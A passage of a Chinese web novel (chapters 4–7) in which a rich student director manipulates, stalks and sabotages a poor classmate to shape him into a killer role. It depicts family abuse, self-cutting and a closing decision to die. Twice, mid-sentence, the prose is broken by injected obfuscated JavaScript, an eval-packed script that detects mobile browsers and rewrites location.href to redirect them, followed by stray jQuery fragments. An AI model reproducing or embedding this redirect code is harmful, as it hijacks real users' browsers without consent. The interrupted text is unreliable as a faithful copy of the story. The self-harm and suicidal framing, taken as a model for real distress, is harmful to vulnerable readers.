乔淮生微微倾身,领针的一点碎钻微微发亮:“该不会是想让我帮你脱吧?” 他一抬手腕,周围的灯啪嗒一声被打开,照亮狭小的房间,衣架上全是一排排的戏服,后面还有个挂了帘子的小区间。 “你想得美,”察觉到顾总的愣神,乔淮生抬手将旁边的剧本扔到顾舟身上,“自己换衣服,剧本上有你今天要拍的内容。” 顾舟垂眸将剧本给接过来,封面上写着整个故事的标题—— 《白日焰火》 上面写着是校艺术团的参赛项目,第一页就是剧情简介,主角名叫陈焰,一个连环杀手——白日里受人尊敬体面高薪的医生,夜晚却能面不改色将刀刃捅进其他人的心脏。 所有被他杀掉的人,陈焰都会他的尸体前燃放一束小小的烟花。 好像那样恶劣无味的生命也曾也有过最后的绚烂。 那是照亮血腥角落的白日焰火。 乔淮生要拍的第一场戏是一场拳赛。 陈焰第一次察觉到自己的毁灭欲后,他选择了去格斗场。 阴暗的地下格斗,血腥与暴力的代名词,可以随时消失一个生命却不用负任何的责任。 陈焰苦苦压抑着的一切在这里得到了短暂的释放,可是因为他横空出世又胜率太高,让背后的操盘者输了大钱,陈焰在回家的路上被人堵住。 来人想要他的命,于是陈焰第一次杀人。 顾舟将剧本合上了。 为了符合陈焰的收入,乔淮生给他的衣服是一套修身的黑色风衣和同色系的西裤。 在顾舟前二十年贫穷的时间里,他很少穿这样不好打理的衣服,可是顾舟从更衣里出来的那一刻,乔淮生忽然觉得—— 这就是陈焰。 顾舟过分凌厉的眉眼和高挑的身材让这身装扮显出一份近乎暴力的锋利,明明是出现在这种场合,他身上的气质却丝毫不显得怯弱,仿佛他天生就该行走在这样万众瞩目的视线里,而不是脏脏狭窄的小巷。 乔淮生冲他一招手:“过来。” 顾舟朝他走过去,乔淮生一把抓着顾舟的头发将他拉近自己,随后,一只手穿过他的发丝,将顾舟原本覆盖到眉眼的刘海尽数拢了上去。 那块还没长好的疤痕就这样突兀地出现在了英挺的面容上,乔淮生并没有要询问的意思,虽然他比谁都知道这块疤是怎么来的,只是满意地一点头:“好了。” 他今天似乎换了个香水,不再是存在感分明的黑茶,而是带着清新的橙花,顾舟略有些不适地偏过头:“我不会拍戏。” “没关系,”乔淮生嗤笑了声,“如果只是需要演技,你以为我会选你?” “你只需要做你自己就行了。” 想起之前在小巷中的眼神,乔淮生几乎有些兴奋地压了压舌尖,迫不及待地观看自己导出的戏剧:“我会把你成为陈焰。” 当初的刀子丢掉了,他来帮他捡起来。 他来帮他们捡起来。 乔淮生说着,抬手替他理了理领口:“打架会吗?” 顾舟抬起眼睛。 “刚刚进门的时候,有人嘲笑你了,对吧?” 乔淮生凑到他的耳边:“第一场擂台的时候,我会让他上去,你可以随意报仇。” 顾舟嘴唇动了动,这种伤害对他来说其实已经麻木,他甚至不会再有任何的情绪波动:“我……” “我想我才是你的债主,”乔淮生望着他那双眼睛,将顾舟的风衣领子替他立起来,几乎是任性的、恶毒的:“我不希望这个人再出现在我的剧组。” “你来帮我解决。” * “各部门准备!” 乔淮生站在显示器前戴上耳机,摄像灯光便随着他的指令调度。 在这样小小的一方天地里,他好像是造物主般的神,所有的按照他的想法动作,所有的剧情按照他想要的结局发展。 乔淮生一挥手,黎尚迫不及待地跳上了台。 “刚刚就是你打了小五?阴沟里爬出来的东西也敢来老子这里叫嚣,”黎 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这一幕的戏剧效果实在是太好,直到周围响起刺耳的惨叫,众人才意识到到底发生了什么。 “怎么了怎么了?” “没事吧?伤到哪里了?” “快快快,还能站起来吗?” …… 所有人都朝着黎尚那里冲了过去,顾舟垂眸看了看自己的手指,将紧攥的拳头放开,一回眸,才发现乔淮生望着自己的眼睛。 所有人都在忙着询问黎尚,独他一个人盯着此刻的顾舟,像是欣赏一件终于被自己打磨到初具雏形的艺术品般,遥遥地勾起唇角,朝着顾舟露出了一个满意的笑。 等到黎尚被人扶起来,乔淮生才终于走过去,顾舟将那只手收进口袋,等到乔淮生路过的时候才道:“我打了他。” “我知道。” “我打了你的演员。” 顾舟重复了一遍,他以为这会是小少爷新的折磨方式,比如让他给那个被打的人当众道歉、羞辱、被还手——如同他从小到大被找上门来时经历的那样。 岂料乔淮生轻轻地笑了声,望着他的眼睛,耐心纠正:“你才是我的演员。” 乔淮生把自己衣襟上刚刚那块发亮的领针摘下来,如同奖励般的,戴到了顾舟那枚被扫落的衣扣上,附到他耳边,轻声道:“做得不错。” 说完,他才像是川剧变脸般的换了态度,走进簇拥着的人群: “还好吗?” 语气关切态度焦急,如果不是刚刚在耳边近乎恶劣的声音,顾舟差点要和所有人一样,以为乔淮生真的如此关心演员。 “对不起,是我安全措施没有做好。”乔淮生道歉诚恳,“让你受伤了。” “不系泥学长,是拉个贱——嘶!”黎尚刚要说话,口腔连带着半张脸的疼痛就让他被迫闭上了嘴巴。 “我看这里好像是肿了,这样吧,”乔淮生一招手,“王超,麻烦你带他去医院了。” “这场戏应该没什么问题了,后面我改改剧本,把你的给闫玲来演好了。” “学长我……” “医药费我个人报销,出场费也会按原来的结的,”乔淮生拍拍他的肩,态度标准到简直可以登报,“剧组的事不用操心。” “好好休息,大家都在等着你康复的那一天。” 5. 第五章 “顾舟,304号包厢,过去送酒!” 托盘上被装上酒瓶,顾舟抬手敲门。 “就在董事会上啊,那么多人看着,突然就晕过去了,你知道那股市唰得一下子——进!” 关硕挥挥手,端着盘子的侍应生走进来,将托盘中的酒放上餐桌。 “哎你不是那天那个,”关硕试图回忆起那天的场景,“当时开香槟那个……” “顾舟。”原本懒散坐着的乔淮生终于来了点兴致。 他替他补全了名字,重新介绍身份:“我的校友。” 说罢,又抬眸问顾舟:“你们这里开一瓶酒,你提成能有多少?” “1%” “行,”乔淮生点点头,“那你帮我再开三瓶,就记在你那里。” “你真是!”等顾舟走了关硕才开口,“见到个落魄的人就想帮忙,我们喝得了这么多吗?” 期待拔得越高,最后失落的时候痛苦才会越强烈,想起那天顾舟挥出的一拳,乔淮生不着痕迹地勾了下唇角。 他已经迫不及待要看到最后的结局了。 “好了关少别管这个了,你继续说!那秦之昭后来怎么样了?” “后来肯定是送医院了啊!公司发布的声明是说没事儿,谁知道这秦之昭出院以后……” “快点啊关少,别卖关子了,出院以后做什么了?” “就是就是,你快点说啊!” “行行行别着急,”关硕手中的酒杯转了一圈,“十八年前,秦家老二出车祸,跟着一起不见的那个孩子,你们还知道吧?” “那当然听说过,不过这都多少年了!那孩子早死了吧。” “是啊,本来大家都是这样以为的,可谁知道那秦之昭医院里逛了一圈,不知道从哪得到的消息,说那孩子还没死,现在正满世界地找人呢。” “找人?这都十几年过去了怎么可能还找得到? ” “就是,就算是当初没死,这十几年难道就没病没灾的,当时丢在那种山窝窝里,估计被狼都吃了都不一定!” “甭管真的假的,这要是真让他找回来,纵缰的股票可就不是现在这个价了,到时候再跟恒盛打擂台……淮少,你怎么想的?” “对啊淮少,这影响的是你家的生意,要我说咱们也派点人,抢在他们之前先……”那人比了个咔嚓的手势。 “乔乔?乔乔?”关硕拿胳膊肘怼怼他,“在问你呢。” “这么重要的事儿你都能走神,想什么呢?” 乔淮生看了眼手机界面——画面里空荡荡的,有的只是一扇窗户,静静地明亮在蛛网凝结的巷子里,风一吹,阳台上晾着的破旧T恤晃晃荡荡。 “没想什么,”乔淮生抬手按下手机,“希望他好好活着吧。” * 天色漆黑,顾舟才终于下班回家。 小巷里通风很差,刚一推开门,狭窄的房间里就充斥着难闻的劣质酒精味。 “他妈的!你终于回来了!” 男人看到顾舟,便猛地冲上来,提着顾舟的衣领晃了几下:“钱呢!家里的钱呢!” 他说着,便开始歇斯底里地从顾舟身上翻找,衣服甚至差点被他撕碎开来,露出腰间还未愈合的大片淤痕。 “钱呢?钱呢?”可是男人压根没管,凶厉的样子像是要将顾舟掐死:“是不是你把钱藏起来了,说啊!” “老子就知道!你就是个养不熟的崽种!妈的!” 男人一拳砸在了顾舟的脸上:“把钱给我!快把钱给我!” 客厅里太小,顾舟被他砸得踉跄一下,桌上仅有的几副碗碟因此掉落下来,碎片割破了顾舟的手臂,在男人的拳头再次落下来之前,顾舟紧握的手指攥成拳,猛地砸在了他的脸上! 肥胖的身体撞到身后的衣架,洗好的衣物哗啦啦翻了一片,铁制衣架砸在他的身上,乱七八糟的衣服盖住他的眼睛。 “妈的!兔崽子! 你敢打我! 你他妈——啊!” “钱给奶奶看病了。” 顾舟手中攥着刚刚的碎片,那双眸子凶厉冷漠:“你要是真想要,去医院找她吧。” 家里终于安静了一瞬,顾舟才将那枚碎片丢了。 握了握手指,鬼使神差地,他突然想起那天乔淮生附在耳边的一句:“做得不错。” 他轻轻地抬眼,对面的按摩店窗户紧闭,但是月亮之上,却依稀红光闪烁。 * 乔淮生满意地按灭手机。 “小少爷,在看什么呢这么开心?” “没什么,”乔淮生唇角依然是勾着,“这么晚还在煲汤啊王姨,过两天过节,我给你多包点红包。” “哎呦,那真是太谢谢小少爷了。” 阿姨这么说着,可是脸上却不见笑意,往前走了两步,压低声音才道:“你先上楼去吧小少爷,等会儿夫人和乔总要回来呢。” 她欲言又止,表情中带了几分不忍。可只需这么一句,家里的仿佛已经习惯性地知道接下来要发生什么。 乔淮生原本浮现的笑容瞬间消失了。 好在他已经非常习惯这一切,坐在楼上的房间里,安静等待,没过多久,家里就响起了车辆进出的声音。 随后,那些声音逐渐变得嘈杂、混乱,家具倒落的声音、碗碟摔碎的声音、男人的嘶吼声、女人的尖叫声,还有那夹杂其中的隐隐啜泣。 整个家里变成了一段蒸腾在水上的,沸腾的闹剧,所有这片水里的人都要像是那只青蛙一样,一起慢慢地滑向死亡。 乔淮生没有关门,因为只需要稍稍等上一会儿,另一辆车驶离的声音响起,房门砰得一声被打开,傅芸冲过来,几乎是神经质地握住他的手臂:“生生,生生!” “你会永远陪着妈妈的对吧,妈妈只有你了,妈妈最爱你了!” 妆容精致的女人头发散乱,瞳孔突出,像是在午夜游荡的鬼魂:“你会帮妈妈的吧,你帮妈妈劝劝你爸爸好不好?” “你再乖一点听话一点,你爸爸肯定会喜欢我们的……” “不!”不知是想起了什么,女人突然又歇斯底里地尖叫起来,“不是!” “如果不是你,我怎么会嫁给他!”指甲深深地嵌入肉里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861077|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那瞳孔恶毒地盯着他,“是你!都是你!为什么你当初要生下来!为什么?” 不知道阿姨现在下班了没有,乔淮生想,她花了两个小时煲的汤,肯定没有人喝。 等到傅芸走了之后,房门终于可以关上了,手臂上是两道新鲜的、显眼的血痕,乔淮生静静地看了一会儿,等到鲜血不流了,突然又用手指扒开伤痕,好像这样的疼痛给了他一种近乎报复的畅快。 如果秦家的那个孩子还活着,也会过着和他一样的生活吗? 乔淮生突然就想到顾舟。 摸出手机,在那静谧的窗前,另一个人显然也没有休息。 可是他却依然有着令人疑惑的平静和恢复能力,好似什么都没有发生过一般,将那些凌乱的衣服收起来,衣架重新组装,做饭,洗碗,在窗前做着自己的课程作业。 标准到好像是从一天里复制出的无数套模板。 乔淮生从愣神中醒过来,才发现手臂上血液似乎又一次停止流淌了。 生命的恢复能力还真是惊人。 乔淮生只好躺下来,将手机放在旁边,那闪烁着的屏幕上是整个房间唯一的一点亮光。 闭上眼睛,乔淮生决定尽快拍自己的第二场戏。 * “让我看看,到底是谁,连我的人也敢动!” 闫玲换了一身黑色皮衣,烫卷发,一副大姐大的样子,高跟鞋尖咔咔作响,抬脚踢了踢地上的顾舟。 她踢得很轻又很心虚,虽然顾舟只是那样淡淡地瞥了她一眼,但是他那双眼睛——怎么说呢,很少有人能真的直视那样一双眼而不感到害怕。 就好像,就好像……他真的能面不改色将一把刀捅进人的心脏一样。 乔淮生从哪里找来的这个人,明明看起来没什么演技,但是气质却如此的相像。 闫玲胆战心惊地演着,等待着顾舟按照剧本,将那把折叠刀刺进她的心脏,几乎是下意识地闭上眼睛。 “卡!”旁边传来不满的声音,乔淮生道,“不对!” “对不起对不起学长,”闫玲后退一步,立刻道歉,“是我刚刚……” “顾舟,你的神情不对。” 闫玲这才唰得睁开眼睛,这才发现,乔淮生的视线压根连看都没看她,仿佛从头到尾,他盯着的只有顾舟一个人。 “各就各位,”乔淮生扶了扶耳麦,“重来!” 这还不对啊,顾舟刚刚那一下的神情,闫玲差点以为自己真的要命丧当场了。 “不行!”两人按照剧本来了两次,乔淮生依然眉头紧皱,“感觉不对。” 他望着顾舟的眼睛,像是透过他,凝视那天下午窥视到的一切:“你没有愤怒。” “都停一下吧。”乔淮生说,“我来给主角讲一下戏。” 等到所有人都忙着布景,顾舟和乔淮生终于重新回到了那个狭窄昏暗的更衣室。 “顾同学。”乔淮生几乎是迫不及待地长舒一口气,像是毒蛇悄悄露出蛇信,轻声询问: “你会有想要杀掉一个人的想法吗? ” 顾舟猛地抬起眼睛。 6. 第六章 “不要紧张,我只是帮助你更好地进入角色,”乔淮生笑容轻松,“每个人都会偶尔有这样的想法啊,不是吗?” 他一笑,那枚痣便在他的眼下浮动,像是黑暗中闪烁着的红光。 “比如被讨厌的上司责骂、比如楼上不停传来的噪音,又比如……”乔淮生开口,声音在狭小的房间里回荡碰撞,又回落到他自己身上:“你是一个不被任何人期待着降生的人。” “至亲之人带给你只有痛苦,这个世界永远只向你呈现伤害的一面。” 乔淮生的声音像是温柔的蛇信,危险又暧昧地扫过人性中那层岌岌可危的蛛网: “就没有那么一刻,你会想要撕毁这个世界吗?” “有。 ”房间里总是充斥着的酒味,那些挥落到身上的语言和拳头……顾舟说:“当然有。” “那为什么放弃呢?” 乔淮生紧紧地抓着顾舟的胳膊,手臂上的伤口还在分明地地提醒着的存在,可是乔淮生却觉得愉悦,指甲深深地按进顾舟被割伤的地方,仿佛他们通过这一刻完成了疼痛的共享,他几乎是迫不及待地询问:“为什么要放弃?” 老实讲,顾舟前二十年的时间里,经历过远比乔淮生严重许多倍的羞辱和恶意。 但是乔淮生跟他们都不一样。 不是因为他长得了一双这样漂亮的眼睛却表现出一副恶劣的样子,也不是因为他虽然如此恶劣,却总让人觉得下一秒就要碎掉。 而是因为乔淮生永远都这么炽热又疯狂地望着他,好似把自己的生命力和执着全部悬挂在他的身上。 他这样肮脏的、狼狈的、乏味的一个人身上。 “不为什么,”顾舟避开了他的眼睛,“不是你说的吗?” “正常人都会放弃。” 是,正常人都会放弃。 所以谁才是不正常的呢?所以看到刀就会想起鲜血迸溅的瞬间,是因为他早已从内里坏掉了吗? 是啊,也许吧。 他疯了。 “当然,正常人都会放弃。”乔淮生笑起来,“不过没关系。” “你很快就能够体会到了。” 他会帮顾舟体验这一切的。 在这个烂泥一样的世界里,怎么能只有他一个人疯掉呢? * 顾舟的生活,忽然从那一天开始陷落。 首先是会所的老板将他开除。 “理由?你把客人气成这个样子还问我要理由?!你之前砸了我一瓶十二万的酒,那时淮少大度不跟你计较,你还以为你什么时候都有这样的好运气呢?” 顾舟低垂着眼眸,静静地等着老板骂完,只是问:“那我这个月的工资呢?” “工资?你还敢要工资?老子还没问你要赔偿呢!赶紧给老子滚!” 然后,是医院的缴费突然开始催促。 “上个月费用已经拖欠了,我也知道你们的情况,也已经尽可能跟主任申请了,但是你也知道,现在床位紧张,要是费用再补不上,那之后可就……” “听说你把你奶奶的供都给断了?行啊,钱不给我花就算了,现在连你奶奶你也不管了!好啊,白眼狼果然是白眼狼!你有种把我跟你奶奶都弄死算了!” 然后,顾舟发现,他似乎找不到工作了。 学生能够迅速拿到钱的工种本来就不多,可顾舟几乎可以说是次次碰壁,奶茶店上班的第一天,就有人投诉他在里面多放了过敏物。工厂卸货的隔日,那批货物就莫名其妙地少了一箱,为了领奖学金而参加的比赛,负责人突然委婉告诉他名额被加塞。 就好像是,有什么一直如影随形地跟着他,跟着一条阴沟的鬣狗,围堵他,逼迫他,看着他因为绝望而陷入愤怒,为了一块骨头去撕扯血肉。 那种被窥视的感觉越来越强烈,直到—— 家里在某一天做饭的时候突然陷入一片漆黑。 在这样如他的生活一样的黑暗里,手中的屏幕却骤然亮起,是陌生号码发来的新信息: “现在找到感觉了吗,陈焰?” 顾舟猛地打开窗户,窗外一片黑暗,只有那点闪烁的红色,在皎洁的月色里,刺目又明晰。 * “生生。”包养精致的女人挽着他的手,“慢一点,跟紧妈妈。” “这么大年纪了怎么连领针都戴不好,”宴会厅前人来人往,傅芸伸出手,将他的领口给重新整理,“现在好啦。” 女人的笑容温婉宠溺,任谁第一眼看到乔淮生,都会羡慕他有这样一个温柔善良的好妈妈。 旁边的乔南山替傅芸提着包,将手中的东西交给侍者,这才道:“还说生生呢,你这么大了,连个包都选不好,还非要等我给你搭完了才出门。” “行啦!”傅芸一只手挽上他的肩膀,“这种事你怎么也出来说,等会儿让人听见都笑话了。” “结婚这么多年,乔总和夫人的感情还是这么好啊!” “那是,谁不知道乔总事业有成家庭和睦,我老婆天天揪着我的耳朵跟我说让学学人家老乔!” “听说今年清源的项目,又是恒盛中标了吧。” “那当然,”旁边的人附和,“清源那边要打的主题叫温馨家园,咱们这个人的家,谁有乔总家的温馨啊。” “是啊,生个孩子也这么优秀,这个就是淮生吧,瞧瞧这模样,真是一表人材!” “生生,”傅芸拍拍他,手指却在看不见的地方拧上乔淮生的胳膊,示意他打起注意力,“杨伯伯跟你说话呢。” “谢谢杨伯伯,”乔淮生转身扬起笑容,几乎是一种刻在骨子里的流程和习惯,“你的女儿生得也很漂亮,上次去艺术馆,还看到了好几件她设计的作品呢。” 乔淮生笑得自己都觉得反胃,每个月被当做标本一样地出现在这种宴会上,成为家庭幸福和睦的展览品,这种感觉实在让他觉得恶心。 等媒体拍够了素材,他才终于得到释放。 乔淮生低头看了眼手机。 顾舟还没有回复。 不过没关系,他是优秀的驯手,耐心的导演,他有足够的时间等待着困兽在笼中嘶吼,发疯,最后露出他想要的神态。 “乔乔!”关硕一把搭上他的肩,“找了你半天了,你怎么在这儿呢?” “走走走,那边桌子都开好了,你跟我过去。” “又打牌?” “放心,我知道你不会玩这个,你不用上手,”关硕边说边拉着乔淮生往里走,“你就坐我旁边看着就行了!” “每次你过来,我的运气都特别好!老子都要输麻了,快快快!” 牌局开始,乔淮生坐在关硕旁边,荷官重新开始洗牌,手指流畅扫过牌面,乔淮生看了一眼,又垂下眼来看他的手机。 漆黑了多日的窗户在一瞬间亮起。 铺垫了多日绝杀将要在今日揭露,乔淮生几乎是激动地等待着结局。 “只剩两张了关少!” “就是,赛点了,你还要不要跟?这局势看起来可不怎么妙啊。” “跟!来来来!”关硕猛地一把拉过乔淮生,“你来帮我摸!” 乔淮生垂眸看了眼对面的牌桌和旁边放着的牌堆数量,低下头,抬手将左边那张牌翻过来。 “卧槽!!!” “卧槽!同花!你果然是我的福星乔乔!”筹码轰的一声捞过来,关少喜笑颜开,“我就知道你坐镇我肯定输不了!” 旁边的人看了眼,乔淮生坐在沙发边,低垂的睫毛修长,眼下一点红痣,那张脸比到场的明星还要惊艳。 鬼使神差地,他开口道:“都说性感荷官在线摸牌,我看淮少这手,比美女荷官还管用。” 话音刚落,乔淮生突然放下手机,冷冷地看了他一眼。 乔淮生平时都温文尔雅,可那双眼睛不笑的时候,才让人知道他为什么叫淮少。 这人猛地清醒过来,一把扇在自己脸上:“瞧我这嘴,说什么呢,淮,淮少,你可千万别往心里去!” 乔淮生站起身:“我去个洗手间。” 镜子因为热水变得氤氲,屏幕里的那扇窗户却逐渐清晰,甚至难得地,闪烁的人影多了些。 大戏即将开场,乔淮生需要找一个绝对安静的地方慢慢观看,他正要转身。 “刚刚为什么不碰右边那张?” 阴恻恻的声音在身后响起,乔淮生的肩膀如同惊弓之鸟般抖了下。 “你看的懂,对吧?”男人推着轮椅,往前靠了些,“你很擅长这些,诡谲,狡诈,一切骗局的游戏。” 乔淮生一转身,便看到秦之昭的脸。 男人坐在轮椅上,戴着一副金丝眼镜,那双眼睛锐利深邃,唇角带笑的样子总让人想起阴恻恻的毒蛇: “为什么不告诉他们你会呢?装出一副乖巧懂事优异的样子,真的会有人在意吗?” “滚!” 乔淮生眉头紧皱,像是看到了什么恶心的东西,可是刚一抬步却撞到跟上来的轮椅。 “这么容易暴躁……乔大少爷,看来我上次说的话,你真的听进去了?” “跟你有什么关系?”乔淮生双手按在他的轮椅上,“连站起来都不到的废物!你算是再盯着我,秦家也不会有后!” “秦家有后?”秦之昭像是听到了什么好笑的笑话,猛地哈哈大笑起来,“比那个杂碎的孩子,我在意你才对,乔大少爷。” “上次我就说过,你的父母不爱你。这个世界上根本没有人真的关心你。” 轮椅被猛地推开,乔淮生几乎急切地想要出门,可秦之昭的声音已经响了起来: “你想知道为什么吗?” 阴沉的声音如同蛇信,刹那间缠住他的脚踝: “因为你爸爸爱的那个人,已经被你妈妈害死了!” 脚步被骤然钉在原地,乔淮生告诉自己要逃,可不知怎么地,还是连动都动不了一步。 “你妈妈使了手段有了你,逼着乔老爷子让乔南山奉子成婚,”秦之昭的手指紧紧握紧轮椅把手,“就他们结婚的那一天——” “那个人从二十四楼跳了下去。” “你爸爸是个虚伪薄情的烂人,你妈妈是个狠毒心计的歹妇,而你呢……” “你是他们相互利用的工具,是午夜驱不散的噩梦,你从出生开始,身上就沾了另一个人的鲜血,”秦之昭靠近他,声音琴弦般缠住他的脖颈,“真可笑,你不会还以为是自己表现得不够好吧?” “从出生就带着原罪的人,就算是你再优秀,再乖巧,再无可挑剔,你以为会有人将目光放在你的身上,哪怕一点点吗?” “你胡说!” 乔淮生猛地回过头,一把掐住了秦之昭的喉咙:“你以为我会信你吗?” “不信我?那你可以现在出去找他们对峙啊,你敢吗?你其实内心早就已经知道答案了吧!” “闭嘴!”乔淮生死死扼住他的脖颈,手背青筋跌起,“你闭嘴!” “这么……生气……” 窒息让秦之昭几乎只能用气音讲话,可是他居然还在笑,连声音都带着愉悦:“那你……杀了我啊……” “动手啊……你敢吗?” 乔淮生用力收拢了手指。 伤口因此而崩裂,鲜血顺着他的手臂流下来。 乔淮生双目充血,看着秦之昭脸色涨红,气息挣扎,仿佛他只要稍稍再一用力,就能彻底失去呼吸。 为什么不动手? 为什么不握下去,只要轻轻地一用力,所有折磨自己的痛苦、挣扎、阴霾,就会彻底消失了。 只要握下去。 乔淮生骨节泛白,盯着秦之昭因为缺氧突出的眼眶,他想要掐进,可是无论如何也握不下去。 为什么?为什么不动手,为什么不用力? 为什么为什么为什么? 为什么放下那把刀?! 是啊,为什么放下那把刀。 在那天,在昏黄的小巷里,他和他们,为什么放下那把刀? 对,他们。 放弃的……是他们。 乔淮生猛地松开手,长长地舒了一口气,从人头攒动的宴会上跑了出去。 穿过蛛网凝结的街道,穿过腐烂的瓜果气息,穿过昏黄的路灯和鲜血般的残阳,跑到破旧、狭小的街道里。 跑到,顾舟的身边。 夕阳完全坠落了,夜晚和那一天一样漆黑,唯有那扇窗里透出一点黄色的微光,头发发白的妇人坐在床边,是老太太回来了。 “怎么能说是故意呢?我看这孩子还是挺孝顺的,”按摩店老板娘坐在旁边跟她聊天,“他一个孩子能花什么钱,肯定只是没找到工作。” “这么多年,你儿子不是也没有再找,只养着他一个。” “那是他没本事!”老太太说,“要是能有亲孙子,你当我会把他捡回来!” “养不熟的狼崽子,从小他就跟人不亲,那眼睛也不知道是像谁,那么吓人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861078|159432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “也不能那么说,”老板娘有些听不下去,“你住院这么多天,这孩子天天早上起来送饭,挣那么一点钱全给你交手术费了,见到的人都夸他呢。” “我养了他!”老太太提高声量,脸上的皱纹都因此拧在一起,“难道他不该孝顺我,反正有了孩子也不会我们家的根,他的挣的钱当然要给我!” “让他买个饭这么久还不回来,谁知道是不是在外面吃独食,小杂种!” 顾舟手上拎着菜,脸上带着点淤青,装菜的袋子破了口子,他在回来的路上碰见要债的,被迫耽误了许多时间。 “她不爱你。” 身后突然传来一道声音,顾舟回过头,看到乔淮生的脸。 大少爷似乎是刚从某场宴会上回来,一身昂贵西装,领针手表,衬得整个人风度翩翩,实在与这狭窄肮脏的街道格格不入。 可是他的语气恶毒,轻蔑,好像有什么追着他,让他急切地将一起摊开来放在顾舟面前:“你看到了吧,她根本就不在意你,你不过是人家没有亲孙子捡回来的一个替代品,一个拿钱的工具。” “她根本就不爱你。” 他又重复了一遍这句话,顾舟望着他的眼睛:“你是故意让我听到的。” “是又怎样?”乔淮生嗤笑一声:“如果不是她自己这么想,谁能诱导她说出来呢?” “你为她做那么多工作,去会所给人做小伏低,去做店里被客人骂,去比赛被人抢了名额,就是为了给她凑那么一点医药费。” “可是她看到吗?她感激过吗?她欣慰过吗?” “你不是她的亲孙子,”乔淮生一字一句,从喉咙里撕扯出声音,“从出生就带着原罪的东西,你以为会有人在意你的存在吗?” 顾舟逼视着他的眼睛:“所以,那些也是你做的。” “对。” “为什么?” “为什么?这需要理由吗?” 或许只是因为那一天,你那么不幸地遇见了我。 乔淮生说:“因为我就是想看着你被全世界抛弃,痛苦挣扎的样子,像你这种阴沟里的狗一样的东西,在这样的痛苦里死在阴沟里,不是更有趣吗?” “乔淮生!”顾舟猛地提起他的领子,番茄从破了洞的袋子滚进楼梯,乔淮生被他猛地甩在落了灰尘的墙壁上。 “怎么,终于忍不住了吗?”乔淮生在笑,他努力地想要装作秦之昭那副得意的模样,可是手臂上的伤口却传来阵阵刺痛,发红的眼尾勾起来,“还记得那天我问过你什么吗?” “你现在……有想要杀掉一个人的想法吗?” 顾舟紧紧地揪着他的领子,眼神冷漠又锐利,像是阴沟的鬣狗,却又像是咬人的狼:“你把我当作陈焰。” “你不是吗?”乔淮生说,“没有人爱,没有人关心,没有人在意,即便是死在今天,也不会有人会为你哭泣。” “不管你怎么努力,都不会有人在意,因为……” 乔淮生笑起来,用生平最恶毒,最刻薄的诅咒:“不管你做什么,都会被我亲手掐灭。” “你不会再找到工作,你的处境不会有任何的改善,要债的人只会越来越多,你那个赌鬼父亲再也不会从你这里拿到一分钱,老太太的药快吃完了吧,没有收入,她要怎么活下去?” “哦,我忘了,他们从来也在乎你,对吧?” “乔淮生……”顾舟几乎把他整个人提了起来,“你就是为了一个角色?” “对!” 他放下的刀,顾舟放下的刀,可是陈焰握起来了。 那么既然陈焰可以,为什么他不可以?为什么顾舟不可以? 他们和陈焰,顾舟和陈焰,到底有什么不一样?! “顾舟,我再问你一遍!”乔淮生靠近他,几乎将细瘦的,一折就断的脖颈都贴近了顾舟的掌心,“你愤怒吗?生气吗?痛苦吗?” 胳膊上的鲜血涌出来,如同那日一样,乔淮生战栗地渴望着顾舟的宣判:“……想要动手吗?” 顾舟再一次在乔淮生身上看到了这样的视线,这样疯狂的、扭曲的、炽热的、绝望的视线。仿佛随时可以毁灭一切,包括他自己。 心脏重重一跳,顾舟松开了手,他说:“没有。” “什么?” “你说的那些,我都没有。”顾舟说,“没有愤怒,没有痛苦。” “不可能,你凭什么——” “为什么不可能?”顾舟平静地望着他,像望穿乔淮生所有拙劣的、幼稚的手段:“你做的这些,我早就经历过了。” 早在乔淮生出现之前,顾舟已经经历过远比这些绝望痛苦许多的时刻。 所以,他已经习惯了。 每个人都会经历这样的时候,每个人都会这样生活,每个人都有一个带着埋怨相互纠缠的家庭。 他只是他们其中的一员,没什么特殊,也没什么值得关注。 “我想你找错人了,”只是为了想要一个角色就如此歇斯底里的小少爷,好像永远也无法理解这一点。顾舟说,“我不是陈焰。” “事实上,我一直觉得,” 顾舟弯腰去把那颗掉落的番茄捡了起来,于是在这样昏暗的巷子里,他没有看到乔淮生手臂上滴落的鲜血和眼角未落的泪痕,他只是平静地开口,用那天伤痕累累却依然洗碗做饭的平静,用乔淮生最厌恶的平静,对他说: “只是因为不被爱就要死要活,实在是太过矫情和自恋了。” 顾舟走了。 老式的楼梯亮一下就恢复了黑暗,乔淮生一个人站在楼下。 他穿着能抵这里一套房的昂贵西装,戴名表,胸口的钻石光芒璀璨,矜贵到格格不入。 破旧的巷子里传来许多的声音,小孩子的哭喊声,夫妻的拌嘴声,老人的电视声,做饭时锅碗瓢盆交错的迭起声,空调的风箱声,和着咒骂的泼水声。 那些声音全都穿过他。 像是海底永远找不到频段的Alice,乔淮生独自站在原地,鲜血顺着手臂流下来,手腕的伤痕好了又添,没有人与他共鸣。 那些所有的愤怒,痛苦,挣扎,绝望,只是他一个人矫情的独白。 在那个昏黄的落日里,乔淮生以为自己找到了同类,可是他弄错了。 顾舟不是陈焰。 陈焰是他一个人留给这个世界的遗书。 这一天,乔淮生终于不再试图寻找共鸣。 他决定一个人死去。 7. 第七章 顾舟断裂的生活终于续上了。 餐厅的工作回来了。 老板开除人不需要什么理由,重新雇佣一个人似乎也不需要讲什么面子。 “行了,这是之前的工资,你就在这里好好干,你平时还是比较认真的!” 